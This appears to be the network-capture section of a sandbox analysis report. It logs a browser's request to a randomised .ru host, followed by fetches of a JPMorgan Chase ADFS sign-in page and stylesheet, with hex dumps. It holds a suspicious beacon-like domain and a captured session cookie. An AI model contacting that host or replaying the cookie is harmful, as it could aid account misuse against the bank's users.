Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49751	172.67.155.45	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:05:06 UTC	462	OUT	GET /awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT HTTP/1.1 Host: qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:05:06 UTC	898	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:05:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8eMdtauBCWjEsnnb4QCGTM33Ij6t7u0%2FvjeCnuwmNhyfDd5sQCR3igNkd%2FfLVfM75DAP1HwCf%2FVeSxQKFjKDr4kGQ9bW8wvXE5ZpH8j43tY%2BqTFBHtgDto43TBaYD7DPcK90ACunG8OSTB73dodaGKzr4lsG%2Fw6givbUi%2B5XaQLrCYpnP0enOz3YTRSeIOdfouuv4PGknn8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe97e1af55424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1675&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1040&delivery_rate=1683967&cwnd=248&unsent_bytes=0&cid=8120668cd0b87ecc&ts=599&x=0"
2025-01-10 18:05:06 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-10 18:05:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49802	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:09 UTC	2010	OUT	GET /adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795BjnLvvoUVjvf3S-XcndxR7vkO8vXuj [TRUNCATED] Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:06:10 UTC	381	IN	HTTP/1.1 200 OK Cache-Control: no-cache,no-store Content-Length: 43632 Content-Type: text/html; charset=utf-8 Expires: -1 pragma: no-cache x-frame-options: DENY Date: Fri, 10 Jan 2025 18:06:09 GMT Vary: Accept-Encoding Connection: close Set-Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=; path=/; Httponly; Secure
2025-01-10 18:06:10 UTC	4150	IN	Data Raw: 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 31 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f Data Ascii: <!DOCTYPE html><html lang="en-US"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=1"/> <meta http-equiv="content-type" co
2025-01-10 18:06:10 UTC	5737	IN	Data Raw: 22 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 49 6e 70 75 74 55 74 69 6c 2e 73 68 6f 77 48 69 6e 74 28 6e 6f 64 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 7d 3b 0d 0a 49 6e 70 75 74 55 74 69 6c 2e 66 6f 63 75 73 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 70 75 74 46 69 65 6c 64 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6e 6f 64 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 69 6e 70 75 74 46 69 65 6c 64 29 3b 0d 0a 20 20 20 20 69 66 20 28 6e 6f 64 65 29 20 6e 6f 64 65 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 3b 0d 0a 49 6e 70 75 74 55 74 69 6c 2e 68 61 73 43 6c 61 73 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6e 6f 64 65 2c 20 63 6c 73 4e Data Ascii: ""); InputUtil.showHint(node); } } }};InputUtil.focus = function (inputField) { var node = document.getElementById(inputField); if (node) node.focus();};InputUtil.hasClass = function(node, clsN
2025-01-10 18:06:10 UTC	2872	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 75 62 6d 69 73 73 69 6f 6e 41 72 65 61 22 20 63 6c 61 73 73 3d 22 73 75 62 6d 69 74 4d 61 72 67 69 6e 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 73 75 62 6d 69 74 42 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 73 75 62 6d 69 74 22 20 74 61 62 69 6e 64 65 78 3d 22 34 22 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 6e 4b 65 79 50 72 65 73 73 3d 22 69 66 20 28 65 76 65 6e 74 20 26 26 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 33 32 29 20 4c 6f 67 69 6e 2e 73 75 Data Ascii: </div> <div id="submissionArea" class="submitMargin"> <span id="submitButton" class="submit" tabindex="4" role="button" onKeyPress="if (event && event.keyCode == 32) Login.su
2025-01-10 18:06:10 UTC	1460	IN	Data Raw: 72 20 63 75 73 74 6f 6d 20 74 68 65 6d 65 73 2d 2d 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 53 53 20 66 6f 72 20 73 6d 61 6c 6c 20 22 77 61 69 74 69 6e 67 22 20 77 68 65 65 6c 20 2d 2d 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 23 66 6c 6f 61 74 69 6e 67 43 69 72 63 6c 65 73 47 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 32 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 32 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 34 29 3b Data Ascii: r custom themes--> ... CSS for small "waiting" wheel --> <style> #floatingCirclesG { position: relative; width: 125px; height: 125px; margin: auto; transform: scale(0.4);
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6f 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 66 72 6f 74 61 74 65 47 5f 30 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d Data Ascii: normal; -o-animation-direction: normal; -ms-animation-direction: normal; -webkit-animation-direction: normal; -moz-animation-direction: normal; } #frotateG_01 { left: 0;
2025-01-10 18:06:10 UTC	4255	IN	Data Raw: 20 6d 73 56 69 65 77 70 6f 72 74 53 74 79 6c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 7b 77 69 64 74 68 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 22 0a 20 20 20 20 20 20 20 20 29 0a 20 20 20 20 29 3b 0a 20 20 20 20 6d 73 56 69 65 77 70 6f 72 74 53 74 79 6c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 22 0a 20 20 20 20 20 20 20 20 Data Ascii: msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{width:auto!important}" ) ); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{height:auto!important}"
2025-01-10 18:06:10 UTC	5792	IN	Data Raw: 76 65 72 6c 61 79 2d 68 69 64 65 22 0a 4a 50 4d 43 5f 48 45 4c 50 5f 4f 56 45 52 4c 41 59 2e 61 72 69 61 48 69 64 64 65 6e 20 3d 20 22 74 72 75 65 22 0a 4a 50 4d 43 5f 48 45 4c 50 5f 4f 56 45 52 4c 41 59 2e 72 6f 6c 65 20 3d 20 22 64 69 61 6c 6f 67 22 0a 4a 50 4d 43 5f 48 45 4c 50 5f 4f 56 45 52 4c 41 59 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 2c 20 22 68 65 6c 70 2d 6f 76 65 72 6c 61 79 22 29 0a 4a 50 4d 43 5f 48 45 4c 50 5f 4f 56 45 52 4c 41 59 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 65 6c 70 5c 22 3e 3c 64 69 76 20 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 22 43 6c 6f 73 65 5c 22 63 6c 61 73 73 3d 5c 22 6f 76 65 72 6c 61 79 42 75 74 74 6f 6e 5c 22 20 73 74 79 6c Data Ascii: verlay-hide"JPMC_HELP_OVERLAY.ariaHidden = "true"JPMC_HELP_OVERLAY.role = "dialog"JPMC_HELP_OVERLAY.setAttribute("aria-labelledby", "help-overlay")JPMC_HELP_OVERLAY.innerHTML = "<div class=\"help\"><div aria-label=\"Close\"class=\"overlayButton\" styl
2025-01-10 18:06:10 UTC	942	IN	Data Raw: 2f 2f 20 49 6e 73 65 72 74 20 4a 50 4d 43 20 70 61 67 65 0a 76 61 72 20 6a 70 6d 63 50 61 67 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 0a 6a 70 6d 63 50 61 67 65 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 4a 50 4d 43 5f 50 41 47 45 3b 0a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 70 6d 63 50 61 67 65 29 3b 0a 2f 2f 20 44 65 66 69 6e 65 20 64 6f 6d 61 69 6e 20 73 65 6c 65 63 74 20 62 6f 78 65 73 20 66 6f 72 20 65 61 63 68 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 0a 76 61 72 20 64 6f 6d 61 69 6e 4c 69 73 74 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0a 76 61 72 20 64 65 66 61 75 6c 74 44 6f 6d 61 69 6e 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0a 64 6f 6d 61 69 6e Data Ascii: // Insert JPMC pagevar jpmcPage = document.createElement("div");jpmcPage.innerHTML = JPMC_PAGE;document.body.appendChild(jpmcPage);// Define domain select boxes for each environmentvar domainList = new Array();var defaultDomain = new Array();domain
2025-01-10 18:06:10 UTC	1925	IN	Data Raw: 46 6f 72 6d 20 26 26 20 6c 6f 67 69 6e 4d 65 73 73 61 67 65 29 20 7b 0a 20 20 20 20 2f 2f 20 48 69 64 65 20 75 73 65 72 6e 61 6d 65 20 61 72 65 61 0a 20 20 20 20 75 73 65 72 4e 61 6d 65 41 72 65 61 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0a 20 20 20 20 2f 2f 20 49 6e 73 65 72 74 20 75 73 65 72 20 65 64 69 74 61 62 6c 65 20 75 73 65 72 6e 61 6d 65 20 62 6f 78 0a 20 20 20 20 76 61 72 20 73 61 6d 41 63 63 6f 75 6e 74 4e 61 6d 65 41 72 65 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 0a 20 20 20 20 73 61 6d 41 63 63 6f 75 6e 74 4e 61 6d 65 41 72 65 61 2e 69 64 20 3d 20 22 73 61 6d 41 63 63 6f 75 6e 74 4e 61 6d 65 41 72 65 61 22 3b 0a 20 20 20 20 73 61 6d 41 63 63 6f 75 6e Data Ascii: Form && loginMessage) { // Hide username area userNameArea.style.display = "none"; // Insert user editable username box var samAccountNameArea = document.createElement("div"); samAccountNameArea.id = "samAccountNameArea"; samAccoun
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 72 65 65 74 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 46 6f 72 20 73 65 63 75 72 69 74 79 20 72 65 61 73 6f 6e 73 2c 20 77 65 20 72 65 71 75 69 72 65 20 61 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 76 65 72 69 66 79 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 2e 22 3b 0a 7d 0a 69 66 20 28 49 64 61 45 61 74 20 26 26 20 53 45 43 49 44 29 20 7b 0a 20 20 20 20 61 75 74 68 4f 70 74 69 6f 6e 73 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 22 0a 7d 20 65 6c 73 65 20 69 66 20 28 53 45 43 49 44 29 20 7b 0a 20 20 20 20 53 65 6c 65 63 74 4f 70 74 69 6f 6e 28 27 53 65 63 75 72 49 44 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 27 29 3b 0a 7d 0a 2f 2f 20 46 Data Ascii: reetingDescription.innerHTML = "For security reasons, we require additional information to verify your account.";}if (IdaEat && SECID) { authOptions.style.display = "inline-block"} else if (SECID) { SelectOption('SecurIDAuthentication');}// F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49801	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:10 UTC	2033	OUT	GET /adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3 [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
2025-01-10 18:06:10 UTC	258	IN	HTTP/1.1 200 OK Content-Length: 129118 Content-Type: text/css Expires: Sun, 09 Feb 2025 18:06:10 GMT ETag: 92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE Date: Fri, 10 Jan 2025 18:06:09 GMT Vary: Accept-Encoding Connection: close
2025-01-10 18:06:10 UTC	5601	IN	Data Raw: ef bb bf 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 7d 0a 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4f 70 65 6e 2d 53 61 6e 73 2d 4a 50 4d 43 27 3b 0a 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 2f 61 64 66 73 2f 70 6f 72 74 61 6c 2f 63 73 73 2f 4f 70 65 6e 53 61 6e 73 2d 56 61 72 69 61 62 6c 65 46 6f 6e 74 5f 77 64 74 68 2c 77 67 68 74 2e 63 73 73 27 29 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 20 38 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 77 69 64 74 Data Ascii: * { margin: 0px; padding: 0px;}@font-face { font-family: 'Open-Sans-JPMC'; src: url('/adfs/portal/css/OpenSans-VariableFont_wdth,wght.css'); font-weight: 300 800; font-style: normal;}html, body { height: 100%; widt
2025-01-10 18:06:10 UTC	8760	IN	Data Raw: 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 68 35 2c 20 2e 74 69 6e 79 54 65 78 74 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 38 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 2e 68 69 6e 74 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 39 39 39 39 39 3b 0a 7d 0a 0a 2e 65 6d 70 68 61 73 69 73 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 32 46 32 46 3b 0a 7d 0a 0a 2e 73 6d 61 6c 6c 49 63 6f 6e 20 7b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 Data Ascii: font-size: 0.9em; font-weight: normal;}h5, .tinyText { font-size: 0.8em; font-weight: normal;}.hint { color: #999999;}.emphasis { font-weight: 700; color: #2F2F2F;}.smallIcon { height: 20px; padding-right: 1
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 0a 40 2d 77 65 62 6b 69 74 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 0a 40 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 0a 2f 2a 20 54 68 65 6d 65 20 6c 61 79 6f 75 74 20 73 74 79 6c 65 73 20 2a 2f 0a 0a 23 66 75 6c 6c 50 61 67 65 2c 0a 23 62 72 61 6e 64 69 6e 67 57 72 61 70 70 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0a 7d 0a 0a 23 62 72 61 6e 64 69 6e 67 57 72 61 70 70 65 Data Ascii: width: device-width;}@-webkit-viewport { width: device-width;}@viewport { width: device-width;}/* Theme layout styles */#fullPage,#brandingWrapper { width: 100%; height: 100%; background-color: inherit;}#brandingWrappe
2025-01-10 18:06:10 UTC	7300	IN	Data Raw: 20 20 20 20 20 77 69 64 74 68 3a 20 37 30 25 3b 0a 20 20 20 20 7d 0a 7d 0a 0a 2f 2a 20 46 6f 72 6d 20 66 61 63 74 6f 72 3a 20 73 6e 61 70 70 65 64 20 57 41 42 20 28 66 6f 72 20 57 41 42 20 74 6f 20 77 6f 72 6b 20 69 6e 20 73 6e 61 70 70 65 64 20 76 69 65 77 2c 20 74 68 65 20 63 6f 6e 74 65 6e 74 20 77 72 61 70 70 65 72 20 77 69 64 74 68 20 68 61 73 20 74 6f 20 62 65 20 73 65 74 20 74 6f 20 32 36 30 70 78 29 20 2a 2f 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 29 20 7b 0a 20 20 20 20 23 63 6f 6e 74 65 6e 74 57 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 36 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 69 64 70 44 65 73 63 72 69 70 74 69 6f 6e 20 Data Ascii: width: 70%; }}/* Form factor: snapped WAB (for WAB to work in snapped view, the content wrapper width has to be set to 260px) */@media only screen and (max-width:280px) { #contentWrapper { width: 260px; } .idpDescription
